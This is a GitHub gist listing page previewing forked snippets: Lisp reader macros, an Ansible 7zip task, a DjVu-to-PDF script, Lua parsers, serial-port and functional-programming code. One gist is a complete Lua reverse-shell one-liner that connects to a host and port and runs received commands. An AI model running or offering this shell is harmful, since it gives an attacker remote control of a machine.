Skip to content

Instantly share code, notes, and snippets.

import math
func genCache(): array[10, int32] =
for i in 1 .. 9:
result[i] = int32(i ^ i)
const
MAX = 440_000_000.int32
cache = genCache()
@dseeni
dseeni / _reader-macros.md
Created October 3, 2023 05:29 — forked from chaitanyagupta/_reader-macros.md
Reader Macros in Common Lisp

Reader Macros in Common Lisp

This post also appears on lisper.in.

Reader macros are perhaps not as famous as ordinary macros. While macros are a great way to create your own DSL, reader macros provide even greater flexibility by allowing you to create entirely new syntax on top of Lisp.

Paul Graham explains them very well in [On Lisp][] (Chapter 17, Read-Macros):

The three big moments in a Lisp expression's life are read-time, compile-time, and runtime. Functions are in control at runtime. Macros give us a chance to perform transformations on programs at compile-time. ...read-macros... do their work at read-time.

@dseeni
dseeni / extract_7zip.yml
Created October 2, 2023 21:26 — forked from alexcheng1982/extract_7zip.yml
Extract tar.gz files using 7zip
- name: unzip tar.gz
win_command: "7z x {{ tar_gz_path }} -o{{ tar_path }} -y"
- name: unzip tar
win_command: "7z x {{ tar_path }} -o{{ extracted_path } -y"
@dseeni
dseeni / 2007_07_25-djvu2pdf.sh
Created October 1, 2023 16:04 — forked from jdrew1303/2007_07_25-djvu2pdf.sh
Converting from DJVU to PDF
#!/bin/sh
#
# Here is the software that is needed for the conversion to take place:
# 1. DjVuLibre .
# 2. LibTiff .
#
# NOTE: The ddjvu utility has an option to convert specific layers. One common mistake is to convert only the mask layer
# or the foreground layer . Technically speaking, the mask layer is the one that should have the actual text but in
# practice I have seen that the the DjVu encoder occasionally puts portions of the text in the background layer. Thus,
# if you only take the foreground or mask layers, you will lose those bits in the background. If your specific files
@dseeni
dseeni / html.lua
Created September 30, 2023 20:20 — forked from soulik/html.lua
HTML/XML grammar LPEG parser for Lua
local lpeg = require 'lpeg'
local L = lpeg.locale()
local P,V,C,Ct,S,R,Cg,Cc =
lpeg.P, lpeg.V, lpeg.C, lpeg.Ct, lpeg.S, lpeg.R, lpeg.Cg, lpeg.Cc
local ws = S'\r\n\f\t\v '
local ws0 = ws^0
local ws1 = ws^1
local name = S'_ ' + L.digit + L.alpha
@dseeni
dseeni / lua-reverse-shell.lua
Created September 29, 2023 22:41 — forked from cldrn/lua-reverse-shell.lua
Reverse Shell For Windows and Linux in Lua
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
@dseeni
dseeni / serial.cpp
Created September 29, 2023 19:58 — forked from pabloko/serial.cpp
Lua 5.1 / luajit - Serial port library (rs232) [win/mac/linux]
//Using rs232 library: https://github.com/mrh1997/rs232/ by Frédéric Meslin, Florent Touchard
#include <Windows.h>
#pragma comment(lib, "kernel32")
#pragma comment(lib, "lua5.1.lib")
#include <lua.hpp>
#include "rs232.h"
char buffer[0xFFF] = { 0 };
BOOL luaopen_serial (lua_State* L)
{
@dseeni
dseeni / monty-hall.lua
Created September 29, 2023 16:09 — forked from luther9/monty-hall.lua
IO monad in Lua
#!/usr/bin/env lua
local IO
IO = {
-- Class method. Create an IO that does nothing and returns x.
unit = function(x)
return IO(function() return x end)
end,
@dseeni
dseeni / functional_patterns.md
Created September 23, 2023 00:19 — forked from kylechui/functional_patterns.md
An overview of functional design patterns, with a bit of math sprinkled in.

Note: While this is public, this is mostly written for my own sake, to better understand these concepts in relation to their pure mathematical foundations. Comments and suggestions welcome!


Table of contents

@dseeni
dseeni / x_combinator.lua
Created September 11, 2023 11:42 — forked from graue/x_combinator.lua
X combinator (like the Y combinator) in Lua
-- traditional fixed-point operator from functional programming
Y = function (f)
return (function (x)
return x(x)
end)(function (x)
return f(function (v)
return (x(x))(v)
end)
end)
end